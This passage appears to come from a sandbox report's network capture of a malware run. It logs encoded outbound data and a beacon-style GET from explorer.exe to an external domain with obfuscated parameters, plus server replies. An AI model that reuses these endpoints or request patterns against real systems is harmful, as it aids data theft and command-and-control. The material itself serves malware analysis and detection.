45 48 59 70 47 45 73 6d 34 62 55 4d 71 6a 61 47 4a 78 57 32 4c 72 69 5a 4e 59 7a 43 74 47 32 71 45 6a 34 34 41 2b 61 36 41 31 56 70 62 48 36 45 50 44 6c 66 53 4d 52 42 75 4d 57 33 55 6a 6e 35 34 6d 53 38 48 63 56 4d 73 54 2f 57 4d 69 53 62 72 4a 76 64 76 72 79 37 62 4d 38 36 41 4e 6f 55 31 62 2f 46 66 4c 43 78 63 74 77 44 56 4e 33 6b 48 4f 63 5a 4b 41 78 6f 68 44 4d 31 38 61 4d 56 6f 4d 48 4b 6d 73 61 46 6e 4c 78 47 69 6d 74 43 35 65 6e 44 69 56 39 43 68 45 71 74 42 74 51 61 52 6a 79 67 70 70 71 2b 52 4d 6e 50 41 35 57 75 48 74 74 42 65 5a 4b 6d 39 7a 70 45 6a 32 75 6a 7a 61 56 50 6f 68 55 6c 57 4f 38 54 76 67 79 32 75 72 38 72 46 75 6b 49 31 4f 77 34 31 55 4c 38 49 48 58 37 6c 4e 32 43 39 39 55 6a 39 74 31 71 34 73 6b 30 4d 7a 6c 69 52 66 32 4d 51 6e 33 6b 69 58 36 6f 41 56 4a 42 49 43 42 4d 37 70 79 49 33 54 6a 6c 49 70 6a 52 35 51 77 31 50 6e 52 74 4c 6c 68 45 52 43 58 4d 48 68 66 43 77 2b 37 59 5a 31 66 41 53 6d 6c 38 66 4e 52 44 58 69 5a 68 61 56 49 6e 6e 6e 38 6b 73 50 4f 75 6c 34 72 67 39 7a 77 46 44 70 6d 38 63 51 56 32 73 33 52 37 64 73 6f 79 55 47 2f 57 78 55 79 6c 72 4b 6a 72 79 30 78 32 36 7a 75 48 2b 6e 4c 51 42 6b 74 69 45 35 73 37 62 74 30 36 59 4c 68 6f 50 36 33 65 69 47 30 34 69 34 57 74 57 37 69 31 37 4c 74 31 74 41 71 70 64 44 30 43 31 45 52 52 50 30 69 56 63 55 6b 4e 45 7a 49 49 70 65 7a 33 45 67 79 41 65 2b 72 2f 4d 47 32 6c 78 4a 31 46 37 31 6f 2f 31 41 30 68 2b 69 71 77 65 52 49 70 45 6b 6f 2b 51 6a 73 46 70 79 4e 4e 4f 42 57 6f 64 77 34 45 6b 68 75 4c 34 4b 6e 7a 4f 5a 50 4f 42 7a 79 4c 32 55 57 4c 75 2f 6b 6e 52 79 48 31 57 4f 31 6b 67 30 45 39 68 77 55 31 48 35 67 56 4c 76 61 6d 6f 47 7a 6f 48 71 31 33 6b 42 4f 66 71 31 49 72 73 76 58 50 57 54 56 46 6a 4c 67 4b 6e 4f 41 58 44 42 4b 35 53 67 30 61 67 35 4d 7a 38 37 54 4e 6a 39 54 73 71 38 31 39 38 58 71 4c 43 51 4e 49 68 69 6c 32 2f 72 34 4e 52 58 4d 69 50 31 48 34 67 54 Data Ascii: 5Nag0d=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
Aug 29, 2023 22:46:08.207222939 CEST	1117	OUT	Data Raw: 57 7a 39 55 34 71 42 39 70 42 33 4b 38 69 6a 75 6b 46 48 6b 49 6a 55 72 69 4a 42 77 39 4c 74 7a 38 69 6a 67 53 44 66 79 4b 63 65 31 62 32 6a 58 32 75 6a 53 59 41 4d 72 65 50 68 41 6f 63 57 64 32 43 74 58 42 46 41 79 6b 46 52 36 4b 7a 77 65 44 5a Data Ascii: Wz9U4qB9pB3K8ijukFHkIjUriJBw9Ltz8ijgSDfyKce1b2jX2ujSYAMrePhAocWd2CtXBFAykFR6KzweDZTLvWG+Fbc1CCNhRqDx7ohfISSYQAf9OR9eQrQOFNHO5063BcUkqbK2QkXUk6MmCmWFj/KLP6XRY/BN1qghPoKXhlYb5Pfxsc5JD+hNYWacA1T/5AugyElbMmyVvoTJ4Mw/Qg4vFpIbMFusYCvXPPWMbY2QFAKKnaa
Aug 29, 2023 22:46:08.335861921 CEST	1120	OUT	Data Raw: 59 77 73 52 51 4f 79 57 45 4c 72 76 37 48 50 38 4a 51 4e 46 73 34 6a 4e 64 4b 61 72 5a 58 46 4c 37 76 58 47 39 43 63 78 39 54 71 39 75 45 56 53 75 30 4f 50 67 77 64 55 36 6a 66 6b 58 41 6a 30 73 39 64 57 4d 36 66 77 68 36 55 4e 58 53 56 54 56 5a Data Ascii: YwsRQOyWELrv7HP8JQNFs4jNdKarZXFL7vXG9Ccx9Tq9uEVSu0OPgwdU6jfkXAj0s9dWM6fwh6UNXSVTVZLKXH2UeSxGMp5SpcnoE0SjMCVffhQWzYm+paWP/Oo6VxUSoy27p0PAZNidmk8LojMbB15D1KicFPJlZfXyCWk51xbSL16AmbHPfjKB6KvUyu1X5ESm8OIk5AtF1eUVIXatuxrqx311J/BSg6lZJMjDps04nw/nJJ2
Aug 29, 2023 22:46:08.336031914 CEST	1123	OUT	Data Raw: 75 6e 4c 70 50 30 78 69 33 55 4d 58 55 70 2f 2b 68 30 69 62 37 55 4d 55 47 5a 77 52 67 55 70 64 65 6b 71 69 6b 41 33 4b 36 6f 4a 61 55 71 42 77 33 6b 36 54 5a 41 49 61 59 6f 72 48 52 57 33 58 4e 63 39 32 43 65 69 61 56 42 46 67 39 6d 43 36 2f 6d Data Ascii: unLpP0xi3UMXUp/+h0ib7UMUGZwRgUpdekqikA3K6oJaUqBw3k6TZAIaYorHRW3XNc92CeiaVBFg9mC6/mOQ/5JCzm7bDcJ/nwYG+A0MrllRV3RA1vTarvccMdki2bOsUMAPw2E137Ll4LaKilOD4O05O/6IY6bW/7K/4M4kyAiC6dxUu9LsvpW2/sRzjryUO0sCbU1eo9aIF8a7d4QmqS7PkroHwSmHR+aDEd35ks688BM43sV
Aug 29, 2023 22:46:08.336206913 CEST	1133	OUT	Data Raw: 6f 52 73 51 55 5a 36 4d 57 79 53 31 33 6c 4c 37 53 33 68 57 33 38 71 32 4d 4e 4f 41 49 70 44 57 2f 56 34 72 68 42 49 53 31 61 46 53 66 75 4b 35 36 39 78 64 43 35 58 4f 52 38 4c 35 63 54 6e 72 2f 53 37 32 2f 7a 59 70 7a 61 67 79 34 52 52 65 6e 2b Data Ascii: oRsQUZ6MWyS13lL7S3hW38q2MNOAIpDW/V4rhBIS1aFSfuK569xdC5XOR8L5cTnr/S72/zYpzagy4RRen+jVmsUzeEWs56pN+YwG3Z2dUSc7Z4O0gJ4WFkiBEXOuvguAqTFtYM9LbAiMG/Y2BzWqdWig5JFCBgeWIHJt9QxCPLcmKtt8rUZdlAxaUUXYcZSkP5hCsSN97RscGmdpR5uV3ppTfpFqlr9LIRU6UVnFJw445yze4B6
Aug 29, 2023 22:46:08.336361885 CEST	1134	OUT	Data Raw: 74 74 35 39 78 49 6f 76 55 4f 78 6b 41 6f 4d 54 68 71 71 59 54 75 6c 79 43 6c 4b 6e 4b 75 4e 6e 51 51 62 43 50 74 56 32 63 77 7a 67 32 31 50 57 4f 46 31 54 61 37 4b 59 6a 2b 59 4e 73 41 74 63 47 69 73 2b 6c 32 74 4c 43 6d 33 54 30 79 6e 2b 48 66 Data Ascii: tt59xIovUOxkAoMThqqYTulyClKnKuNnQQbCPtV2cwzg21PWOF1Ta7KYj+YNsAtcGis+l2tLCm3T0yn+HfM0eFug+w83m5CDenjKh/DXKKYao71fPYEiTPDRqeZkwzQlKs+taIRvaV+ChO6YYgtHzwuB0QqqkENtBJkhvCg2KSYxNZoYABF7hJ1Da79lj/zdM+sArJHdSvRCqQ9fCeWoi5bCYAtgY7kXoBrgz1WlWGAB0CgSJ0B
Aug 29, 2023 22:46:08.336540937 CEST	1141	OUT	Data Raw: 70 68 71 6e 52 68 4a 31 4d 38 53 2f 6f 46 42 58 51 31 4d 53 52 4b 52 74 64 6a 4e 36 39 74 4b 51 65 74 53 64 39 4a 33 73 35 42 36 66 63 36 49 69 37 6b 62 70 4a 75 56 78 46 68 37 64 48 6b 57 35 75 32 59 79 4f 7a 49 6a 49 6a 42 35 78 55 58 74 75 41 Data Ascii: phqnRhJ1M8S/oFBXQ1MSRKRtdjN69tKQetSd9J3s5B6fc6Ii7kbpJuVxFh7dHkW5u2YyOzIjIjB5xUXtuA+pky6FjiSgemE1N5wypdu/XHaVF6hLulYL1TXfpiYMccfy5qtOEB3iWvEgbgk3RHph6wQy9+LZRMkJTFsmJ7nL1nL663u8ZM3XErX0vsNdMT2f7cxBwXZRmabogDTQ+gE1/lnAdI1qV5ZcKRrlRlb6Mco9JmcuS7m
Aug 29, 2023 22:46:08.336699009 CEST	1143	OUT	Data Raw: 6b 68 54 38 34 4e 73 75 33 41 51 65 44 49 4d 4e 66 6e 4e 58 36 4e 50 44 6a 41 36 55 67 53 38 37 4d 31 74 30 41 77 45 64 33 38 35 32 63 65 71 34 78 47 6e 42 64 39 42 61 63 50 46 76 52 68 38 6b 79 62 5a 51 45 58 6d 44 36 44 34 33 75 31 63 77 2b 6e Data Ascii: khT84Nsu3AQeDIMNfnNX6NPDjA6UgS87M1t0AwEd3852ceq4xGnBd9BacPFvRh8kybZQEXmD6D43u1cw+nqP4Dd+sOEmKnBtshTzBFoAAAS2j+5YSP5irXdGpwAOpv9QLOviozumOCTQ/yEeV5t4h7R6hkR7XKlNdsS6IMx1A1rM8G1WxXPYpmypp1URQP2K0ru1t3z2EwrwD9r15uhucVAXGfNAxPbT3BEfg5ppiIYyV1+Mcty
Aug 29, 2023 22:46:08.461652994 CEST	1146	OUT	Data Raw: 64 67 50 51 6d 52 6b 46 32 33 71 36 4b 52 55 30 33 52 70 62 4d 30 6e 75 34 37 47 73 70 4d 77 52 70 32 55 73 47 65 55 4e 56 78 42 5a 38 43 42 4c 64 4f 49 37 4b 6b 47 66 4c 75 4c 76 74 57 4e 4d 4c 68 4a 4d 34 35 34 2b 72 6f 53 2f 32 69 41 4f 6d 6d Data Ascii: dgPQmRkF23q6KRU03RpbM0nu47GspMwRp2UsGeUNVxBZ8CBLdOI7KkGfLuLvtWNMLhJM454+roS/2iAOmmk1wyP3CeKudSi8/stvq8V4Y6tBJPcG5j0X6c6pOMgk0nfKuhQCsXam4v5nLWfRwnRc5LpUNXtpyWl8hWo93Bej9ChtHvKobCUIRoxx36QJQmFrQ3V2ka1oHUm14ts1vOF7WkYSmrDtuq1cBephiucJ7BWvz01fJZ2
Aug 29, 2023 22:46:08.461815119 CEST	1147	OUT	Data Raw: 75 4b 73 6b 55 2f 35 6a 33 50 35 43 38 55 67 44 49 4f 68 64 49 2f 4e 5a 78 4e 36 54 4d 4f 78 4c 58 2f 4e 2b 6e 46 58 47 68 63 34 6b 57 69 4b 34 44 67 74 2b 46 67 4d 70 65 4e 5a 42 30 67 46 4e 61 33 51 48 48 58 5a 79 59 61 2f 4a 4f 6f 6e 62 35 39 Data Ascii: uKskU/5j3P5C8UgDIOhdI/NZxN6TMOxLX/N+nFXGhc4kWiK4Dgt+FgMpeNZB0gFNa3QHHXZyYa/JOonb59ktzbPOb0HBjOOXyjS+TqtENsxNbJ0w39gAIYDuG10TufP5s6slWOgVg3aW4ml4EGgjX5Uezfj73Vj/XHty4OznWubcyWfvcYEpQ+TD5Y8lsxVe5UminNQFOxbVeqKDgnbjOeaWzXufW8ACII+2mrD8TQXY2QBuTFQ
Aug 29, 2023 22:46:08.461993933 CEST	1156	OUT	Data Raw: 43 50 74 71 2f 49 44 4a 30 2f 43 46 65 53 56 35 31 4b 34 78 63 65 41 76 73 70 72 54 51 52 75 34 42 7a 65 44 4f 76 48 37 79 66 6e 45 38 47 33 66 4e 5a 4e 6d 70 79 4b 35 38 4f 75 4f 67 6f 37 47 2b 4e 35 6a 67 33 48 59 4a 6d 79 78 73 59 62 59 67 7a Data Ascii: CPtq/IDJ0/CFeSV51K4xceAvsprTQRu4BzeDOvH7yfnE8G3fNZNmpyK58OuOgo7G+N5jg3HYJmyxsYbYgzLQcRf4DLDuV4C64Go+p36yTjdWT4uZq3TpB8ye9a9PVdOuj811FuOo8+XUBCd0hGXCChUgza4xDPPB6b6xQpE4cMDDiqXkqWqdDDNsCOSzLN33REFM8PZ35jtXdfnCQftMDSfnEFELPxdrYPfpZJm2Id0GpyYoQbR
Aug 29, 2023 22:46:10.198375940 CEST	1160	IN	HTTP/1.1 200 OK Date: Tue, 29 Aug 2023 20:46:08 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Length: 1225 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 52 db 72 da 3a 14 7d cf 4c ff 41 d1 cc e9 c0 a4 d8 5c 52 12 0a a6 c3 cd 21 84 3b e6 96 97 8e 90 64 6c 90 2d 47 12 18 c8 e4 df 8f 1d a7 69 9a b6 e7 9c 97 a3 07 8f f6 da db 6b 6f ad bd 3e 9c 81 e8 54 ce 9b 83 86 b5 1c b6 80 a3 3c 06 86 d3 7a f7 b6 01 60 46 d7 e7 85 86 ae 37 ad 26 58 b4 ad 5e 17 e4 b4 2c b0 04 f2 a5 ab 5c ee 23 a6 eb ad 3e fc f0 cc 11 1f e8 28 15 7c d1 f5 30 0c b5 b0 a0 71 b1 d6 ad b1 7e 88 49 73 31 cb cb 35 a3 de 50 68 44 11 58 4d 38 2a cf ed 09 52 28 83 c8 8a 71 bc dd d2 a3 01 7b 66 18 36 47 cb ce 1d bf bf 75 f6 b8 5f 1b b5 ea f5 51 ad 39 09 6b e1 a4 d6 a9 d7 ee 16 57 97 ee 21 38 cd 8e 8b 55 27 10 b8 6b af da 97 81 1c 5e 5e 74 f3 d4 57 0f c2 cd b2 93 53 0c b6 35 b4 e8 0e 6f 31 66 fb 62 73 54 a7 9d ce e6 c6 9c 8b fa ad 59 1c f5 8e 66 b8 b0 3e 37 1a e3 e3 66 92 0f a8 df 6a d4 c2 56 ad 36 32 8c 6f e3 fb f1 21 77 77 3a 0c 72 d7 0d 96 af f5 4a 8b ee 74 58 bc 60 57 c5 d2 7e 88 ed 9c 3d 52 bd d6 95 ed 6f 17 8b 65 61 2d ba 96 35 1d 6f 1e 50 c7 ee 04 05 9d de ca f1 d4 2b e2 da a8 5b 24 c5 62 d3 1e 2c f5 8b 79 10 d6 0c 03 82 83 c7 7c 69 fc 46 b7 5c a9 54 4a e4 fa 21 0e 45 a4 0a 2a 12 0b 37 50 40 1d 03 6a 40 45 0f 4a df a0 3d 4a 50 58 dd 23 01 d0 2a 28 57 f4 04 a9 fe 73 3d 90 02 bf b6 a7 87 80 71 41 6d 41 a9 a0 72 c7 94 d4 30 f7 f4 e0 a0 6d e4 57 ec 18 39 58 fd 3f 68 f3 ff 99 b6 6a ef 7c 1c db 06 38 c8 27 8c d6 ea c3 26 55 14 ab 54 fa 51 89 e3 a3 6b a7 ce a3 c7 a7 81 a0 6a 27 fc 72 2c 86 eb ad 19 5f 03 03 10 8e 77 5e e4 06 0d 0b 8a 14 6d 31 1a 47 29 18 15 c0 74 39 29 d3 a4 3a 32 aa 39 d4 5d 3b ca 80 d9 e0 00 7f ce 84 2e 51 ce bb c4 bf 3f 55 6e 33 51 65 34 99 54 48 ed a4 16 38 c1 57 64 90 96 c3 47 a7 ed c1 5a b4 f6 4b cb dc 20 b6 fd 3c ce 07 a7 81 39 12 ab 45 ff 34 b8 19 5f 4e 7c b6 9b cf fa 97 fd 0d 63 c4 9a b5 26 39 56 ef 5b e6 71 d2 1e 6f 46 d6 78 36 29 74 f8 ea 86 f4 48 b3 be a5 6d 73 d1 cd ce bc 49 9e 88 59 be b3 59 59 4b 31 f5 b2 a7 de cd ac 3b 9f 1f e4 dc 72 04 9e 75 2e 57 53 f3 48 a7 0a 61 b3 df 1c cf 49 61 d5 22 a7 55 96 58 f7 db f1 6c 3a ed df 2e 4f e3 7b d4 ae 37 06 ed fe 8c 78 fd db b9 d5 32 3e ae 0c 78 11 fb ea 55 c5 15 27 47 0d 05 01 f5 49 c3 71 19 49 25 72 44 4a da a9 78 7b dc 8e 7d 48 c5 4e 30 70 6e 18 00 ee 7c 42 6d d7 a7 04 82 8f 1f 5f 73 e7 06 84 e9 d0 f5 09 0f 35 c5 03 8d 71 8c e2 0d 1b df 0b ca 4f 11 80 9d 14 15 22 fd f8 f4 f4 ea 94 0f 67 e0 e5 54 3c aa 10 88 37 90 a1 0f 3b 77 6f c0 06 f7 55 34 63 c6 8a e6 80 00 27 d1 8b 9d 1c e5 b1 32 c0 0e 12 92 2a 63 a7 ec cc 35 d4 7f 61 f3 91 17 f9 6f ef d2 30 e0 42 bd e1 48 0c 40 e8 de c5 34 f3 1c 7c 02 ae ef 2a 17 b1 8c c4 88 51 23 f7 09 ec 24 15 cf 11 5a 45 80 cf 81 74 84 eb 6f 33 8a 67 6c 57 45 00 7c db 90 45 29 e0 44 ae 49 6c 24 23 1f d9 51 3b a9 ad 39 5f 33 8a 02 37 71 11 96 f2 ab 8d 3c 97 1d 8d 21 0f 02 d7 97 5f 0a d9 2c 8c cc ce 0c f8 6c 4f e9 50 aa 7e e2 56 ae 62 b4 ca 10 41 5b e7 44 a5 c7 63 a6 8a 9e c0 ef 67 78 4f f4 32 94 ae bb 1a 26 7e 80 c4 f6 79 0e e5 50 8f 4a 5d d0 b5 2b Data Ascii: Rr:}LA\R!;dl-Giko>T<z`F7&X^,\#>(\|0q~Is15PhDXM8R(q{f6Gu_Q9kW!8U'k^^tWS5o1fbsTYf>7fjV62o!ww:rJtX`W~=Roea-5oP+[$b,y\|iF\TJ!E7P@j@EJ=JPX#(Ws=qAmAr0mW9X?hj\|8'&UTQkj'r,_w^m1G)t9):29];.Q?Un3Qe4TH8WdGZK <9E4_N\|c&9V[qoFx6)tHmsIYYYK1;ru.WSHaIa"UXl:.O{7x2>xU'GIqI%rDJx{}HN0pn\|Bm_s5qO"gT<7;woU4c'2c5ao0BH@4\|*Q#$ZEto3glWE\|E)DIl$#Q;9_37q<!_,lOP~VbA[DcgxO2&~yPJ]+
Aug 29, 2023 22:46:10.198443890 CEST	1160	IN	Data Raw: 95 40 42 bf bc 2e 95 8a 57 5a 34 1f 04 6f a5 4c 6e 15 dd a1 88 bc c0 95 d8 36 2f f7 b7 df 4a b2 55 10 3b e7 65 51 1b b4 47 09 0a ab 7b 24 00 8e 77 02 22 23 25 ed 60 19 c4 a8 dc 8a b5 c3 82 18 2f 1d ee 2c 53 cd ec a1 e9 6d a7 93 fa 80 b7 b9 b9 e1 Data Ascii: @B.WZ4oLn6/JU;eQG{$w"#%`/,Sm'XM+BdaC{}ua`MLaBEJhyC}AgMW[3%6pOM(V}~\|LOO)ouU,

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.11.20	50011	119.18.54.51	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:10.860228062 CEST	1161	OUT	GET /aw8o/?5Nag0d=JHyqG6c0VkX+12EdRRnMiv591CJu3XVJOhv6jqyuy3yB/QILPRQMYUaLAuC7PLR0Wsfx0havIXAbx1R+v/HWlYVUV6jOtwoJGQ==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.ladakhzesmo.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:46:12.779534101 CEST	1163	IN	HTTP/1.1 200 OK Date: Tue, 29 Aug 2023 20:46:10 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 39 30 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 52 5a 52 78 31 4b 7a 78 4f 31 38 43 6c 32 41 4d 39 58 4c 55 50 36 2b 6c 37 36 39 76 50 63 66 31 66 51 74 4d 45 37 66 6e 6b 58 58 59 33 67 72 4c 54 54 55 52 6a 71 61 4a 66 4a 70 33 2f 65 49 73 52 55 6d 36 63 41 51 4c 36 64 36 36 44 66 4f 59 2f 2b 57 70 77 41 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 65 78 70 6c 6f 72 65 66 72 65 65 72 65 73 75 6c 74 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 65 78 70 6c 6f 72 65 66 72 65 65 72 65 73 75 6c 74 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 